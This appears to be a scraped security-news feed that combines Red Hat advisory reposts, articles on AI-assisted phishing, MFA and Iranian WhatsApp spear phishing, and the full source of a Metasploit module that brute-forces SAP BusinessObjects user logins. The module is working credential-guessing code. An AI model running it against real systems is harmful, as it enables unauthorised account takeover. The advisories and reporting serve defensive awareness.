Red Hat Security Advisory 2024-6156-03 - An update for kernel is now available for Red Hat Enterprise Linux 8.4 Advanced Mission Critical Update Support, Red Hat Enterprise Linux 8.4 Telecommunications Update Service, and Red Hat Enterprise Linux 8.4 Update Services for SAP Solutions. Issues addressed include a denial of service vulnerability.

    The following advisory data is extracted from:https://access.redhat.com/security/data/csaf/v2/advisories/2024/rhsa-2024_6156.jsonRed Hat officially shut down their mailing list notifications October 10, 2023.  Due to this, Packet Storm has recreated the below data as a reference point to raise awareness.  It must be noted that due to an inability to easily track revision updates without crawling Red Hat's archive, these advisories are single notifications and we strongly suggest that you visit the Red Hat provided links to ensure you have the latest information available if the subject matter listed pertains to your environment.- Packet Storm Staff====================================================================Red Hat Security AdvisorySynopsis:           Important: kernel security updateAdvisory ID:        RHSA-2024:6156-03Product:            Red Hat Enterprise LinuxAdvisory URL:       https://access.redhat.com/errata/RHSA-2024:6156Issue date:         2024-09-03Revision:           03CVE Names:          CVE-2022-48799====================================================================Summary: An update for kernel is now available for Red Hat Enterprise Linux 8.4 Advanced Mission Critical Update Support, Red Hat Enterprise Linux 8.4 Telecommunications Update Service, and Red Hat Enterprise Linux 8.4 Update Services for SAP Solutions.Red Hat Product Security has rated this update as having a security impact of Important. A Common Vulnerability Scoring System (CVSS) base score, which gives a detailed severity rating, is available for each vulnerability from the CVE link(s) in the References section.Description:The kernel packages contain the Linux kernel, the core of any Linux operating system.Security Fix(es):* kernel: net/sched: act_api: fix possible infinite loop in tcf_idr_check_alloc() (CVE-2024-40995)* kernel: perf: Fix list corruption in perf_cgroup_switch() (CVE-2022-48799)* kernel: virtio-net: tap: mlx5_core short frame denial of service (CVE-2024-41090)* kernel: virtio-net: tun: mlx5_core short frame denial of service (CVE-2024-41091)For more details about the security issue(s), including the impact, a CVSS score, acknowledgments, and other related information, refer to the CVE page(s) listed in the References section.Solution:https://access.redhat.com/articles/11258CVEs:CVE-2022-48799References:https://access.redhat.com/security/updates/classification/#importanthttps://bugzilla.redhat.com/show_bug.cgi?id=2297579https://bugzilla.redhat.com/show_bug.cgi?id=2298135https://bugzilla.redhat.com/show_bug.cgi?id=2299240https://bugzilla.redhat.com/show_bug.cgi?id=2299336

Red Hat Security Advisory 2024-6156-03

A list of topics we covered in the week of August 26 to September 1 of 2024

August 30, 2024 - Iranian spies posing as technical support agents contacted targeted individuals in Israel, Palestine, Iran, the UK, and the US on WhatsApp

August 29, 2024 - A Google search ad for Canva is highly misleading and walks users into a trap.

August 29, 2024 - Telegram CEO Pavel Durov has been arrested in France which raises a lot of questions about the reasons behind the arrest.

August 28, 2024 - Ransomware gangs love sensitive data from healthcare and support organizations to increase their leverage on the victims

August 27, 2024 - Scammers are increasingly using toll fees as a lure in smishing attacks with the aim of grabbing victims' personal details and credit card information.

 A week in security (August 26 &#8211; September 1) 

The FBI and CISA Issue Joint Advisory on New Threats and How to Stop Ransomware
Note: on August 29, the FBI and CISA issued a joint advisory as part of their ongoing #StopRansomware effort to help organizations protect against ransomware. The latest advisory, AA24-242A, describes a new cybercriminal group and its attack methods. It also details three important actions to take today to mitigate

Cybercrime / CISO Insights

****The FBI and CISA Issue Joint Advisory on New Threats and How to Stop Ransomware****

_Note: on August 29, the FBI and CISA issued a joint advisory as part of their ongoing #StopRansomware effort to help organizations protect against ransomware. The latest advisory, AA24-242A, describes a new cybercriminal group and its attack methods. It also details three important actions to take today to mitigate cyber threats from ransomware – Installing updates as soon as they are released, requiring phishing-resistant MFA (i.e. non-SMS text-based), and training users._

The growth in the number of victims of ransomware attacks and data breaches has become so profound that the new cyber defense challenge is just keeping up with the number of new attacks and disclosures from victims. This is the product of stunning advancements in cybercriminal attack methods combined with a too-slow response by many organizations in adjusting to new attack methods. As predicted, Generative AI has indeed been a game changer for cybercriminals attacking organizations and it mandates urgent adjustments to cyber defense strategies.

Through this remarkable transformation in threats, one thing that hasn't changed is the inherent human limitations of everyday users and this is why they are the preferred target for cybercriminals. No amount of training will ever imbue the average user with the super-skills required to detect advanced phishing campaigns or sophisticated deep fakes.

To understand the impact, Token set out to collect perspectives on this pressing subject from cybersecurity leaders in their own words. To accomplish this, Token commissioned Datos Insights, a leading global data and advisory services firm for this research study that reveals the insights and perspectives of leading CISOs and workforce MFA leaders across the U.S. Datos Insights ditched the overused multiple choice questionnaire approach and conducted qualitative 60-minute video interviews to examine CISO perspectives in depth. In this article, we will examine the valuable insights gained from the research.

****CISOs are unanimous that user vulnerabilities are their number one risk****

Attack vectors are advancing in sophistication through the adoption of artificial intelligence capabilities, specifically generative AI, making them more difficult for CISOs and their teams to defend against. Cybercriminals most frequently target employees at large organizations through phishing attacks to gain network access. CISA reports that 90% of ransomware attacks are the result of phishing.

**Increase your organization's security with insights from industry leaders.** Download the _"CISO Perspectives on Multifactor Authentication"_ report to uncover how top CISOs are navigating the evolving landscape of identity and access management, and learn how you can implement cutting-edge MFA strategies to protect your workforce and fortify your defenses against emerging threats.

Advanced Phishing Attacks remain the most effective tool in a hacker's arsenal. These attacks have become more targeted and sophisticated with the use of Gen AI. Gen AI also enables the launching of spear phishing attacks targeted at specific individuals within an organization on a large scale and with greater detail, leveraging real data about the organization and its employees to appear authentic. The tell-tale signs of phishing emails are rapidly disappearing as these emails are increasingly indistinguishable from legitimate communications. This will soon negate the value of user training.

The above is further compounded by the rise of Deepfake technology as Gen AI has given birth to new forms of social engineering attacks. Cybercriminals are now using AI-generated voices and videos to impersonate executives and other trusted individuals. These are being executed via phone calls from trusted phone numbers that are spoofed by the attackers and via Zoom conference calls where cybercriminals impersonate known and trusted colleagues. Attackers have been successful in convincing employees to transfer funds, share credentials, and perform other actions that can compromise security. These attacks exploit the inherent trust that employees place in familiar voices and faces, making them exceptionally dangerous.

The tools to conduct these attacks are now available to billions on the dark web with no specialized skills required. Phishing and ransomware attacks were once the exclusive realm of expert cybercriminals, but with the advent of generative AI and new cybercrime tools, launching these attacks has become accessible to anyone with access to the dark web, which is anyone with a computing device and an internet connection. Ransomware-as-a-Service (RaaS) and AI-driven tools available on the dark web have simplified the process, eliminating the need for advanced skills. This shift enables individuals with minimal technical knowledge to execute sophisticated cyberattacks with just a computer and internet connection. The gig economy meets the next generation of cyber attacks.

****New attacks require new defense strategies****

Phishing-Resistant MFA Adoption is critical and no longer a nice to have. With phishing attacks as the top cyber threat for enterprises, legacy MFA is being proven increasingly inadequate as the numbers of victims substantiate. Many legacy MFA solutions are decades-old technology. The current report highlights the urgency of deploying phishing-resistant, next-generation MFA solutions, especially in the face of AI-enhanced phishing attacks. CISOs should accelerate the shift toward MFA solutions that are hardware-based, use biometrics, and are FIDO compliant. These significantly mitigate phishing and ransomware attacks and would have prevented the overwhelming majority of current ransomware attacks saving organizations a combined billions of dollars in losses in the last year alone.

Next-generation MFA is best implemented with targeted deployments for privileged users. The report emphasizes the importance of prioritizing the deployment of next-generation MFA to high-risk users within the enterprise, particularly systems administrators and executives. CISOs need to improve risk management for System Administrators despite having privileged access management (PAM) solutions. "PAM solutions have functioned as the historical norm for CISOs managing system admin risks." The rise of phishing and insider attacks necessitates that CISOs prioritize MFA upgrade deployments at this important business risk. The report found that senior executives at many firms lack robust security solutions aligned with their business functions and business risk. Almost none of the CISOs interviewed had distinct controls deployed for their executive users. With spear-phishing and other techniques on the rise, this gap was unexpected and troubling.

****Conclusion****

The techniques used by cybercriminals are constantly evolving, but never so rapidly as over the past twelve months. We have surpassed the capacity of our users to be our first line of cyber defense and we have not given them any new tools beyond those developed years or decades ago. By staying informed about the latest threats and implementing a multi-layered defense strategy that emphasizes upgrading to phishing-resistant, next-generation MFA, organizations can protect their users' identities and stop cybercriminals from gaining unauthorized access to data and sensitive operations. Protecting your users from new attacks requires vigilance, education, and the right tools. By prioritizing these areas, organizations can significantly reduce the risk of a successful cyberattack and maintain the trust of their customers and stakeholders.

Learn more about how Token's Next-Generation MFA can stop phishing and ransomware from harming your organization at tokenring.com

Found this article interesting? This article is a contributed piece from one of our valued partners. Follow us on Twitter __ and LinkedIn to read more exclusive content we post.

Next-Generation Attacks, Same Targets - How to Protect Your Users' Identities

This Metasploit module simply attempts to bruteforce SAP BusinessObjects users by using CmcApp.

    ### This module requires Metasploit: https://metasploit.com/download# Current source: https://github.com/rapid7/metasploit-framework##class MetasploitModule < Msf::Auxiliary  include Msf::Exploit::Remote::HttpClient  include Msf::Auxiliary::Report  include Msf::Auxiliary::AuthBrute  include Msf::Auxiliary::Scanner  def initialize    super(      'Name'       => 'SAP BusinessObjects Web User Bruteforcer',      'Description'  => 'This module simply attempts to bruteforce SAP BusinessObjects users by using CmcApp.',      'References'  =>        [          # General          [ 'URL', 'http://spl0it.org/files/talks/source_barcelona10/Hacking%20SAP%20BusinessObjects.pdf' ]        ],      'Author'     => [ 'Joshua Abraham <jabra[at]rapid7.com>' ],      'License'    => MSF_LICENSE    )    register_options(      [        Opt::RPORT(6405),      ])    register_autofilter_ports([ 6405 ])  end  def run_host(ip)    res = send_request_cgi({      'uri'   => "/PlatformServices/service/app/logon.object",      'method'  => 'GET'    }, 25)    return if not res    each_user_pass { |user, pass|      enum_user(user,pass)    }  end  def report_cred(opts)    service_data = {      address: opts[:ip],      port: opts[:port],      service_name: opts[:service_name],      protocol: 'tcp',      workspace_id: myworkspace_id    }    credential_data = {      origin_type: :service,      module_fullname: fullname,      username: opts[:user],      private_data: opts[:password],      private_type: :password    }.merge(service_data)    login_data = {      last_attempted_at: Time.now,      core: create_credential(credential_data),      status: Metasploit::Model::Login::Status::SUCCESSFUL,      proof: opts[:proof]    }.merge(service_data)    create_credential_login(login_data)  end  def enum_user(user, pass)    vprint_status("#{rhost}:#{rport} - Trying username:'#{user}' password: '#{pass}'")    success = false    data = 'isFromLogonPage=true&cms=127.0.1%3A6400'    data << "&username=#{Rex::Text.uri_encode(user.to_s)}"    data << "&password=#{Rex::Text.uri_encode(pass.to_s)}"    data << '&authType=secEnterprise&backUrl=%2FApp%2Fhome.faces'    begin      res = send_request_cgi({        'uri'      => '/PlatformServices/service/app/logon.object',        'data'     => data,        'method'     => 'POST',        'headers'    =>              {                'Connection' => "keep-alive",                'Accept-Encoding' => "gzip,deflate",              },      }, 45)      return :abort if (!res or (res and res.code != 200))      if(res.body.match(/Account Information/i))        success = false      else        success = true        success      end    rescue ::Rex::ConnectionError      vprint_error("[SAP BusinessObjects] Unable to attempt authentication")      return :abort    end    if success      print_good("[SAP BusinessObjects] Successful login '#{user}' password: '#{pass}'")      report_cred(        ip: rhost,        port: rport,        service_name: 'sap-businessobjects',        user: user,        password: pass,        proof: res.body      )      return :next_user    else      vprint_error("[SAP BusinessObjects] failed to login as '#{user}' password: '#{pass}'")      return    end  endend

SAP BusinessObjects Web User Bruteforcer

Iranian spies posing as technical support agents contacted targeted individuals in Israel, Palestine, Iran, the UK, and the US on WhatsApp

An Iranian state-sponsored group often referred to as Iran’s Islamic Revolutionary Guard Corps (IRGC) is making headlines again this season as Meta disclosed that the cybercriminals targeted WhatsApp users in Israel, Palestine, Iran, the UK, and the US.

Other names for this group—depending on the vendor– are APT42, Storm-2035, Charming Kitten, Damselfly, Mint Sandstorm, TA453, and Yellow Garuda.

Earlier the group was linked to disinformation campaigns around the US elections in a Microsoft threat report, Google research findings, and when OpenAI banned accounts linked to an Iranian influence operation.

It is no surprise that nations like Iran have an interest in influencing elections in the US and the targets in this campaign also included staff members of President Joe Biden and former President Donald Trump.

Meta blocked a small cluster of WhatsApp accounts posing as support agents for tech companies. These accounts used social engineering against political and diplomatic officials, and other public figures. This type of attacks is called spear phishing, as it involves highly targeted phishing attempts.

The fake accounts linked to the Iranian group posed as technical support for AOL, Google, Yahoo, and Microsoft.

The APT in APT42 stands for advanced persistent threat (APT), which signifies a prolonged, aimed attack on a specific target with the intention to compromise their system and gain information from or about that target.

This is exactly the kind of group that you will see involved in spear phishing attacks, that target individuals to collect information about them, or manipulate them into revealing information about their occupation, or compromise their devices and accounts so they can spy on them.

There is no evidence that this group managed to compromise any accounts and Meta praises the targets that reported these suspicious messages using the in-app reporting tools, so WhatsApp could launch an investigation and disrupt the campaign.

Phishers often use technical support accounts in phishing attempts because people tend to trust them with information if they happen to be a customer of the company that the “support agent” claims to represent.

WhatsApp users should remain on the lookout for unsolicited contacts and messages.

*   If a message looks suspicious, comes unsolicited, or sounds too good to be true, don’t tap, share, or forward it. Don’t become part of a misinformation campaign.
*   Always inspect links and attached files thoroughly before opening them. Ask the known sender through other means what it’s for.
*   Do not engage in conversations when you are not sure who the sender is. Even the fact that you respond to them will tell them this is a way to reach you and might lead to more attempts.

**We don’t just report on threats – we help protect your social media**

Cybersecurity risks should never spread beyond a headline. Protect your social media accounts by using Cyrus, powered by Malwarebytes.

 Iranian cybercriminals are targeting WhatsApp users in spear phishing campaign 

Red Hat Security Advisory 2024-6028-03 - An update for git is now available for Red Hat Enterprise Linux 8.4 Advanced Mission Critical Update Support, Red Hat Enterprise Linux 8.4 Update Services for SAP Solutions, and Red Hat Enterprise Linux 8.4 Telecommunications Update Service.

    The following advisory data is extracted from:https://access.redhat.com/security/data/csaf/v2/advisories/2024/rhsa-2024_6028.jsonRed Hat officially shut down their mailing list notifications October 10, 2023.  Due to this, Packet Storm has recreated the below data as a reference point to raise awareness.  It must be noted that due to an inability to easily track revision updates without crawling Red Hat's archive, these advisories are single notifications and we strongly suggest that you visit the Red Hat provided links to ensure you have the latest information available if the subject matter listed pertains to your environment.- Packet Storm Staff====================================================================Red Hat Security AdvisorySynopsis:           Important: git security updateAdvisory ID:        RHSA-2024:6028-03Product:            Red Hat Enterprise LinuxAdvisory URL:       https://access.redhat.com/errata/RHSA-2024:6028Issue date:         2024-08-29Revision:           03CVE Names:          CVE-2024-32002====================================================================Summary: An update for git is now available for Red Hat Enterprise Linux 8.4 Advanced Mission Critical Update Support, Red Hat Enterprise Linux 8.4 Update Services for SAP Solutions, and Red Hat Enterprise Linux 8.4 Telecommunications Update Service.Red Hat Product Security has rated this update as having a security impact of Important. A Common Vulnerability Scoring System (CVSS) base score, which gives a detailed severity rating, is available for each vulnerability from the CVE link(s) in the References section.Description:Git is a distributed revision control system with a decentralized architecture. As opposed to centralized version control systems with a client-server model, Git ensures that each working copy of a Git repository is an exact copy with complete revision history. This not only allows the user to work on and contribute to projects without the need to have permission to push the changes to their official repositories, but also makes it possible for the user to work with no network connection.Security Fix(es):* git: Recursive clones RCE (CVE-2024-32002)* git: RCE while cloning local repos (CVE-2024-32004)For more details about the security issue(s), including the impact, a CVSS score, acknowledgments, and other related information, refer to the CVE page(s) listed in the References section.Solution:https://access.redhat.com/articles/11258CVEs:CVE-2024-32002References:https://access.redhat.com/security/updates/classification/#importanthttps://bugzilla.redhat.com/show_bug.cgi?id=2280421https://bugzilla.redhat.com/show_bug.cgi?id=2280428

Red Hat Security Advisory 2024-6028-03

Red Hat Security Advisory 2024-6027-03 - An update for git is now available for Red Hat Enterprise Linux 8.6 Advanced Mission Critical Update Support, Red Hat Enterprise Linux 8.6 Update Services for SAP Solutions, and Red Hat Enterprise Linux 8.6 Telecommunications Update Service.

    The following advisory data is extracted from:https://access.redhat.com/security/data/csaf/v2/advisories/2024/rhsa-2024_6027.jsonRed Hat officially shut down their mailing list notifications October 10, 2023.  Due to this, Packet Storm has recreated the below data as a reference point to raise awareness.  It must be noted that due to an inability to easily track revision updates without crawling Red Hat's archive, these advisories are single notifications and we strongly suggest that you visit the Red Hat provided links to ensure you have the latest information available if the subject matter listed pertains to your environment.- Packet Storm Staff====================================================================Red Hat Security AdvisorySynopsis:           Important: git security updateAdvisory ID:        RHSA-2024:6027-03Product:            Red Hat Enterprise LinuxAdvisory URL:       https://access.redhat.com/errata/RHSA-2024:6027Issue date:         2024-08-29Revision:           03CVE Names:          CVE-2024-32002====================================================================Summary: An update for git is now available for Red Hat Enterprise Linux 8.6 Advanced Mission Critical Update Support, Red Hat Enterprise Linux 8.6 Update Services for SAP Solutions, and Red Hat Enterprise Linux 8.6 Telecommunications Update Service.Red Hat Product Security has rated this update as having a security impact of Important. A Common Vulnerability Scoring System (CVSS) base score, which gives a detailed severity rating, is available for each vulnerability from the CVE link(s) in the References section.Description:Git is a distributed revision control system with a decentralized architecture. As opposed to centralized version control systems with a client-server model, Git ensures that each working copy of a Git repository is an exact copy with complete revision history. This not only allows the user to work on and contribute to projects without the need to have permission to push the changes to their official repositories, but also makes it possible for the user to work with no network connection.Security Fix(es):* git: Recursive clones RCE (CVE-2024-32002)* git: RCE while cloning local repos (CVE-2024-32004)For more details about the security issue(s), including the impact, a CVSS score, acknowledgments, and other related information, refer to the CVE page(s) listed in the References section.Solution:https://access.redhat.com/articles/11258CVEs:CVE-2024-32002References:https://access.redhat.com/security/updates/classification/#importanthttps://bugzilla.redhat.com/show_bug.cgi?id=2280421https://bugzilla.redhat.com/show_bug.cgi?id=2280428

Red Hat Security Advisory 2024-6027-03

Red Hat Security Advisory 2024-5908-03 - An update for bind is now available for Red Hat Enterprise Linux 8.6 Advanced Mission Critical Update Support, Red Hat Enterprise Linux 8.6 Update Services for SAP Solutions, and Red Hat Enterprise Linux 8.6 Telecommunications Update Service.

    The following advisory data is extracted from:https://access.redhat.com/security/data/csaf/v2/advisories/2024/rhsa-2024_5908.jsonRed Hat officially shut down their mailing list notifications October 10, 2023.  Due to this, Packet Storm has recreated the below data as a reference point to raise awareness.  It must be noted that due to an inability to easily track revision updates without crawling Red Hat's archive, these advisories are single notifications and we strongly suggest that you visit the Red Hat provided links to ensure you have the latest information available if the subject matter listed pertains to your environment.- Packet Storm Staff====================================================================Red Hat Security AdvisorySynopsis:           Important: bind security updateAdvisory ID:        RHSA-2024:5908-03Product:            Red Hat Enterprise LinuxAdvisory URL:       https://access.redhat.com/errata/RHSA-2024:5908Issue date:         2024-08-28Revision:           03CVE Names:          CVE-2024-1737====================================================================Summary: An update for bind is now available for Red Hat Enterprise Linux 8.6 Advanced Mission Critical Update Support, Red Hat Enterprise Linux 8.6 Update Services for SAP Solutions, and Red Hat Enterprise Linux 8.6 Telecommunications Update Service.Red Hat Product Security has rated this update as having a security impact of Important. A Common Vulnerability Scoring System (CVSS) base score, which gives a detailed severity rating, is available for each vulnerability from the CVE link(s) in the References section.Description:The Berkeley Internet Name Domain (BIND) is an implementation of the Domain Name System (DNS) protocols. BIND includes a DNS server (named); a resolver library (routines for applications to use when interfacing with DNS); and tools for verifying that the DNS server is operating correctly.Security Fix(es):* bind: bind9: BIND's database will be slow if a very large number of RRs exist at the same nam (CVE-2024-1737)* bind9: bind: SIG(0) can be used to exhaust CPU resources (CVE-2024-1975)For more details about the security issue(s), including the impact, a CVSS score, acknowledgments, and other related information, refer to the CVE page(s) listed in the References section.Solution:https://access.redhat.com/articles/11258CVEs:CVE-2024-1737References:https://access.redhat.com/security/updates/classification/#importanthttps://bugzilla.redhat.com/show_bug.cgi?id=2298893https://bugzilla.redhat.com/show_bug.cgi?id=2298901

Red Hat Security Advisory 2024-5908-03

Red Hat Security Advisory 2024-5907-03 - An update for bind and bind-dyndb-ldap is now available for Red Hat Enterprise Linux 9.0 Update Services for SAP Solutions.

The following advisory data is extracted from:

https://access.redhat.com/security/data/csaf/v2/advisories/2024/rhsa-2024_5907.json

Red Hat officially shut down their mailing list notifications October 10, 2023.  Due to this, Packet Storm has recreated the below data as a reference point to raise awareness.  It must be noted that due to an inability to easily track revision updates without crawling Red Hat's archive, these advisories are single notifications and we strongly suggest that you visit the Red Hat provided links to ensure you have the latest information available if the subject matter listed pertains to your environment.

- Packet Storm Staff

====================================================================  
Red Hat Security Advisory

Synopsis:           Important: bind and bind-dyndb-ldap security update  
Advisory ID:        RHSA-2024:5907-03  
Product:            Red Hat Enterprise Linux  
Advisory URL:       https://access.redhat.com/errata/RHSA-2024:5907  
Issue date:         2024-08-28  
Revision:           03  
CVE Names:          CVE-2024-1737  
====================================================================

Summary: 

An update for bind and bind-dyndb-ldap is now available for Red Hat Enterprise Linux 9.0 Update Services for SAP Solutions.

Red Hat Product Security has rated this update as having a security impact of Important. A Common Vulnerability Scoring System (CVSS) base score, which gives a detailed severity rating, is available for each vulnerability from the CVE link(s) in the References section.

Description:

The Berkeley Internet Name Domain (BIND) is an implementation of the Domain Name System (DNS) protocols. BIND includes a DNS server (named); a resolver library (routines for applications to use when interfacing with DNS); and tools for verifying that the DNS server is operating correctly.

Security Fix(es):

* bind: bind9: BIND's database will be slow if a very large number of RRs exist at the same nam (CVE-2024-1737)

* bind9: bind: SIG(0) can be used to exhaust CPU resources (CVE-2024-1975)

* bind: bind9: Assertion failure when serving both stale cache data and authoritative zone content (CVE-2024-4076)

For more details about the security issue(s), including the impact, a CVSS score, acknowledgments, and other related information, refer to the CVE page(s) listed in the References section.

Solution:

https://access.redhat.com/articles/11258

CVEs:

CVE-2024-1737

References:

https://access.redhat.com/security/updates/classification/#important  
https://bugzilla.redhat.com/show_bug.cgi?id=2298893  
https://bugzilla.redhat.com/show_bug.cgi?id=2298901  
https://bugzilla.redhat.com/show_bug.cgi?id=2298904

Red Hat Security Advisory 2024-5907-03

Red Hat Security Advisory 2024-5871-03 - An update for bind is now available for Red Hat Enterprise Linux 8.4 Advanced Mission Critical Update Support, Red Hat Enterprise Linux 8.4 Telecommunications Update Service, and Red Hat Enterprise Linux 8.4 Update Services for SAP Solutions.

    The following advisory data is extracted from:https://access.redhat.com/security/data/csaf/v2/advisories/2024/rhsa-2024_5871.jsonRed Hat officially shut down their mailing list notifications October 10, 2023.  Due to this, Packet Storm has recreated the below data as a reference point to raise awareness.  It must be noted that due to an inability to easily track revision updates without crawling Red Hat's archive, these advisories are single notifications and we strongly suggest that you visit the Red Hat provided links to ensure you have the latest information available if the subject matter listed pertains to your environment.- Packet Storm Staff====================================================================Red Hat Security AdvisorySynopsis:           Important: bind security updateAdvisory ID:        RHSA-2024:5871-03Product:            Red Hat Enterprise LinuxAdvisory URL:       https://access.redhat.com/errata/RHSA-2024:5871Issue date:         2024-08-27Revision:           03CVE Names:          CVE-2024-1737====================================================================Summary: An update for bind is now available for Red Hat Enterprise Linux 8.4 Advanced Mission Critical Update Support, Red Hat Enterprise Linux 8.4 Telecommunications Update Service, and Red Hat Enterprise Linux 8.4 Update Services for SAP Solutions.Red Hat Product Security has rated this update as having a security impact of Important. A Common Vulnerability Scoring System (CVSS) base score, which gives a detailed severity rating, is available for each vulnerability from the CVE link(s) in the References section.Description:The Berkeley Internet Name Domain (BIND) is an implementation of the Domain Name System (DNS) protocols. BIND includes a DNS server (named); a resolver library (routines for applications to use when interfacing with DNS); and tools for verifying that the DNS server is operating correctly.Security Fix(es):* bind: bind9: BIND's database will be slow if a very large number of RRs exist at the same nam (CVE-2024-1737)* bind9: bind: SIG(0) can be used to exhaust CPU resources (CVE-2024-1975)For more details about the security issue(s), including the impact, a CVSS score, acknowledgments, and other related information, refer to the CVE page(s) listed in the References section.Solution:https://access.redhat.com/articles/11258CVEs:CVE-2024-1737References:https://access.redhat.com/security/updates/classification/#importanthttps://bugzilla.redhat.com/show_bug.cgi?id=2298893https://bugzilla.redhat.com/show_bug.cgi?id=2298901

Tag

#sap